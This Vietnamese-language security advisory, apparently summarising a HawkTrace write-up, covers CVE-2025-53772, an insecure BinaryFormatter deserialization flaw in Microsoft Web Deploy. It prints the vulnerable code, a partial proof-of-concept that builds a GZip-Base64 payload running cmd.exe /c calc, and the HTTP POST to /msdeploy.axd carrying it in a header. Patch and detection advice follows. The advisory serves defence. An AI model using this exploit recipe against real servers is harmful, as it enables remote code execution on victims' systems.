Tổng quan
CVE ‑2025 ‑53772 là một lỗ hổng RCE (Remote Code Execution) mức độ nghiêm trọng trong Microsoft Web Deploy (msdeploy), do xử lý deserialization không an toàn từ dữ liệu header HTTP được nén GZip và mã hóa Base64. Kẻ tấn công đã xác thực có thể thực thi mã từ xa thông qua các endpoint /msdeploy.axd và msdeployagentservice. (hawktrace.com, nvd.nist.gov, cvedetails.com)
1. Công cụ bị ảnh hưởng và điểm CVSS
- Phần mềm bị ảnh hưởng: Microsoft Web Deploy 4.0 — các phiên bản trước (<) 10.0.2001 (cvedetails.com, nvd.nist.gov)
- Điểm nghiêm trọng: CVSS v3.1 8.8 (“High”) — vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (nvd.nist.gov, tenable.com)
2. Cơ chế tấn công
2.1. Quá trình xử lý dữ liệu chân thực
Các trình xử lý nhận dữ liệu từ header MSDeploy.SyncOptions, gồm các bước:
- Base64‑decode chuỗi trong header
- Giải nén GZip từ đoạn dữ liệu đó
- Deserialize dữ liệu qua
BinaryFormatter
public static object Deserialize(string str, out Exception handledException) {
handledException = null;
BinaryFormatter binaryFormatter = new BinaryFormatter();
byte[] array = Convert.FromBase64String(str);
object obj;
try {
obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
} catch (SerializationException ex) {
handledException = ex;
binaryFormatter.Binder = new Base64EncodingHelper.HandleMissingExceptionTypesSerializationBinder();
obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
}
return obj;
}
private static object DeserializeHelper(BinaryFormatter formatter, byte[] buffer) {
using (MemoryStream memoryStream = new MemoryStream(buffer)) {
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) {
return formatter.Deserialize(gzipStream);
}
}
}
2.2. Endpoints có thể bị khai thác
/msdeploy.axd: endpoint cho phép triển khai từ xa qua HTTP(S), được dùng bởi Visual Studio, msdeploy.exe, PowerShellmsdeployagentservice: chạy dưới dạng agent service — cùng xử lý deserialization tương tự
2.3. Điều kiện trigger lỗ hổng
Trong hàm HandleSync, thiếu một trong ba header sau sẽ gây lỗi, nhưng nếu header đầy đủ thì dữ liệu vẫn được deserialization mà không kiểm tra an toàn:
MSDeploy.RequestIdContent-Type: application/msdeployMSDeploy.SyncOptions(chứa payload)
3. Proof ‑of ‑Concept (PoC)
static void Main(...) {
// Tạo delegate để gọi cmd.exe /c calc
...
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, set);
using (MemoryStream compst = new MemoryStream()) {
using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress)) {
stream.Position = 0;
stream.CopyTo(gzipStream);
}
string gzb4 = Convert.ToBase64String(compst.ToArray());
Console.WriteLine(gzb4);
}
}
Sau đó gửi HTTP POST:
POST /msdeploy.axd HTTP/1.1
Host: target
MSDeploy.RequestId: 1
Content-Type: application/msdeploy
MSDeploy.Method: Sync
MSDeploy.SyncOptions: <base64‑gzip payload>
Content-Length: 0
Payload khi deserialization có thể thực thi cmd.exe /c calc.
4. Nguy cơ và tác động
- Khả năng thực thi mã từ xa (RCE) chỉ cần quyền đã xác thực (Low PR) và không cần tương tác người dùng (UI:N)
- Ảnh hưởng nghiêm trọng đến bảo mật thông tin (C:H), tính toàn vẹn (I:H) và sẵn sàng (A:H)
5. Khuyến nghị bảo vệ
- Cập nhật Web Deploy lên phiên bản an toàn (>=10.0.2001)
- Áp dụng strict input validation hoặc loại bỏ
BinaryFormatter; sử dụng giải pháp serialization an toàn hơn - Giới hạn quyền truy cập đến các endpoint (
/msdeploy.axd,msdeployagentservice) - Giám sát logs, phát hiện các request bất thường chứa payload kiểu Base64 + GZip trong header
- Phân đoạn mạng, thực hành least privilege để giảm thiểu tác động khi lỗ hổng bị khai thác
6. Tổng kết (SEO friendly, từ khóa chính)
Lỗ hổng CVE ‑2025 ‑53772 trong Microsoft Web Deploy là một remote code execution (RCE) nghiêm trọng do xử lý deserialization không an toàn. Điểm CVSS 3.1 là 8.8 (High). Payload có thể được nhúng trong header MSDeploy.SyncOptions, gây thực thi mã từ xa. Hiện đã có bản vá và các biện pháp bảo vệ nên được áp dụng ngay.
Source link: HawkTrace CVE ‑2025 ‑53772 IIS WebDeploy RCE






